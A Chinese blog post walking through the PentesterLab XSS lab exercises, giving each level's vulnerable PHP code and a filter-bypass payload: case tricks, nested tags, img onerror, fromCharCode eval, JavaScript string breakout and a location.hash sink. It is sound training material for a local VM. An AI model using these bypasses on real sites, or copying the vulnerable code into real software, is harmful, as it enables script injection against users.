`
tinyhema
  • 浏览: 152774 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

pentesterlab xss漏洞分析

阅读更多
pentesterlab简介

pentesterlab官方定义自己是一个简单又十分有效学习渗透测试的演练平台。

pentesterlab环境搭建
官方提供了一个基于debian6的镜像,官网下载镜像,使用vmware建立一个虚拟机,启动即可。

ps:官方文档建议做一个host绑定,方便后面使用
windows下hosts文件目录:C:\Windows\System32\Drivers\etc\hosts,打开后添加以下一行
192.168.1.100 vulnerable # 具体ip可以在虚拟机中使用ifconfig查看


xss分析
  • 第一个xss非常简单,直接输入即可
  • // <script>alert(1);</script>
    http://vulnerable/xss/example1.php?name=%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	echo $_GET["name"];
    ?>
    

  • 第二个xss过滤了小写的<script>与</script>,可以使用大小写绕过
  • // <sCript>alert(1);</scrIpt>
    http://vulnerable/xss/example2.php?name=%3CsCript%3Ealert(1);%3C/scrIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/", "", $name);
    	$name = preg_replace("/<\/script>/", "", $name);
    	echo $name;
    ?>
    

  • 第三个xss过滤了不区分大小写的<script>与</script>,可以使用嵌套的script标签绕过
  • // <sCr<scriPt>ipt>alert(1)</scr</scRipt>Ipt>
    http://vulnerable/xss/example3.php?name=%3CsCr%3CscriPt%3Eipt%3Ealert(1)%3C/scr%3C/scRipt%3EIpt%3E
    

    它对应的代码如下
    <?php 
    	$name = $_GET["name"];
    	$name = preg_replace("/<script>/i", "", $name);
    	$name = preg_replace("/<\/script>/i", "", $name);
    	echo $name;
    ?>
    

  • 第四个xss判断包含script字符串即报错,可以使用img标签绕过
  • // <img src='a' onerror='alert(1)' />
    http://vulnerable/xss/example4.php?name=%3Cimg%20src='a'%20onerror='alert(1)'%20/%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/script/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第五个xss判断包含alert字符串即报错,@_@,可以使用编码方式绕过
  • // <iMg src=N onerror="eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))">
    http://vulnerable/xss/example5.php?name=%3CiMg%20src=N%20onerror=%22eval(String.fromCharCode(97,108,101,114,116,40,39,112,111,114,117,105,110,39,41))%22%3E
    

    它对应的代码如下
    <?php 
    	if(preg_match('/alert/i', $_GET["name"])) {
    		die("error");
    	}
    ?>
    

  • 第六个xss直接在js环境中输出php变量,可以通过构造js脚本绕过
  • // ";b=alert(1);eval(b);//
    http://vulnerable/xss/example6.php?name=%22;b=alert(1);eval(b);//

    它对应的代码如下
    <script>
    	var $a = "<?php echo $_GET["name"]; ?>";
    <script>
    

  • 第七个xss在js环境中输出通过html编码的php变量,htmlentities没有过滤单引号,使用单引号绕过
  • // ';b=alert(1);eval(b);//
    http://vulnerable/xss/example7.php?name=';b=alert(1);eval(b);//
    

    它对应的代码如下
    <script>
    	var $a = "<?php echo htmlentities($_GET["name"]); ?>";
    <script>
    

  • 第八个xss的post地址使用了当前url,构造当前url地址达到xss目的
  • // /"method="POST"><script>alert(1)</script>
    http://vulnerable/xss/example8.php/%22method=%22POST%22%3E%3Cscript%3Ealert(1)%3C/script%3E
    

    它对应的代码如下
    <?php 
    	if(isset($_POST["name"])) {
    		echo "HELLO ".htmlentities($_POST["name"]);
    	}
    ?>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
    	Your name:<input type="text" name="name" />
    	<input type="submit" name="submit" />
    

  • 第九个xss直接在页面输出锚点id,构建一个带xss的锚点即可
  • // #<script>alert(1)</script>
    http://vulnerable/xss/example9.php#<script>alert(1)</script>
    

    它对应的代码如下
    <script>
    	document.write(location.hash.substring(1));
    </script>
    


    原创文章http://tinyhema.iteye.com/blog/2003605,转载请注明。
    分享到:
    评论

    相关推荐

      前端顽疾--XSS漏洞分析与解决.ppt

      前端顽疾--XSS 漏洞分析与解决 一、前端顽疾--XSS 漏洞分析 XSS 漏洞是一种常见的前端安全问题,指的是攻击者在 Web 应用程序中注入恶意脚本,以欺骗用户或窃取用户信息。XSS 漏洞的危害非常高,黑客可以通过 XSS ...

      搜索框——不能忽视的XSS漏洞—搜索框所引起的XSS漏洞

      **搜索框的XSS漏洞分析** 许多网站,尤其是知名的电子商务平台,如淘宝、当当和亚马逊中国,其搜索功能可能存在过滤不足的问题。攻击者可以利用搜索关键词,使得搜索结果页面展示恶意脚本。例如,通过在搜索框输入...

      SQL+XSS漏洞修复方案

      SQL注入和跨站脚本(XSS)是两种常见的网络安全漏洞,它们对网站的数据安全性和用户隐私构成严重威胁。在本文中,我们将深入探讨这两种漏洞的原理、危害以及如何通过核心代码修复这些问题。 首先,SQL注入是攻击者...

      DedeCMS 存储型xss漏洞1

      【DedeCMS 存储型 XSS 漏洞1】详解 DedeCMS 是一款广泛使用的基于PHP的开源网站管理系统,其特色在于提供了一个简洁易用的后台管理界面,帮助企业或个人快速构建网站。然而,如同任何软件一样,DedeCMS 也存在安全...

      XSS漏洞扫描 XSS漏洞扫描

      这些工具会模拟攻击者的操作,发送带有测试脚本的请求,并分析响应以确认是否存在XSS漏洞。此外,手动审计也是必不可少的,这需要安全专家深入理解Web应用的逻辑和数据流。 为了有效防护XSS,开发者应遵循以下最佳...

      百度编辑器解决xss漏洞

      百度编辑器解决xss漏洞

      java HTML过滤器,用于去除XSS漏洞隐患

      java HTML过滤器,用于去除XSS漏洞隐患java HTML过滤器,用于去除XSS漏洞隐患java HTML过滤器,用于去除XSS漏洞隐患java HTML过滤器,用于去除XSS漏洞隐患java HTML过滤器,用于去除XSS漏洞隐患java HTML过滤器,...

      自动化检测XSS漏洞插件

      自动化检测XSS漏洞插件,希望对大家使用有帮助,一起进步,一起分享

      XSS漏洞挖掘与安全防护.pdf

      XSS(Cross Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞。它允许攻击者在用户的浏览器中执行脚本,从而窃取信息或进行恶意操作。XSS攻击有多种形式,包括反射型(存储型和DOM型)。XSS通常通过网站或...

      论文《基于网络爬虫的SQL注入与XSS漏洞挖掘》

      论文《基于网络爬虫的SQL注入与XSS漏洞挖掘》

      第五第六式web安全之xss漏洞、命令执行漏洞专题.pdf

      在这份文档中,我们将详细探讨与Web安全相关的两个关键漏洞:跨站脚本攻击(XSS漏洞)和命令执行漏洞。首先,文档强调了XSS漏洞的基础知识,包括与之相关的JavaScript基本语法,因为要理解XSS攻击原理,需要先掌握...

      javaweb配置xssproject,完美解决安全检测报XSS漏洞

      JavaWeb配置XSSProject是为了有效防止XSS(跨站脚本攻击)这一常见的网络安全问题。XSS攻击允许攻击者在用户的浏览器中注入恶意脚本,可能导致数据泄露、用户会话劫持等严重后果。XSSProject是一个专门针对XSS攻击...

      XSS漏洞解决方案实例

      跨网站脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类...

      测试文档(Xss漏洞)

      测试文档(XSS漏洞) XSS(Cross-site Scripting,跨站脚本攻击)是一种常见的Web应用安全漏洞,攻击者可以通过在网站上注入恶意脚本,以便在用户的浏览器中执行恶意代码,窃取用户的敏感信息或实施其他恶意行为。 ...

    Global site tag (gtag.js) - Google Analytics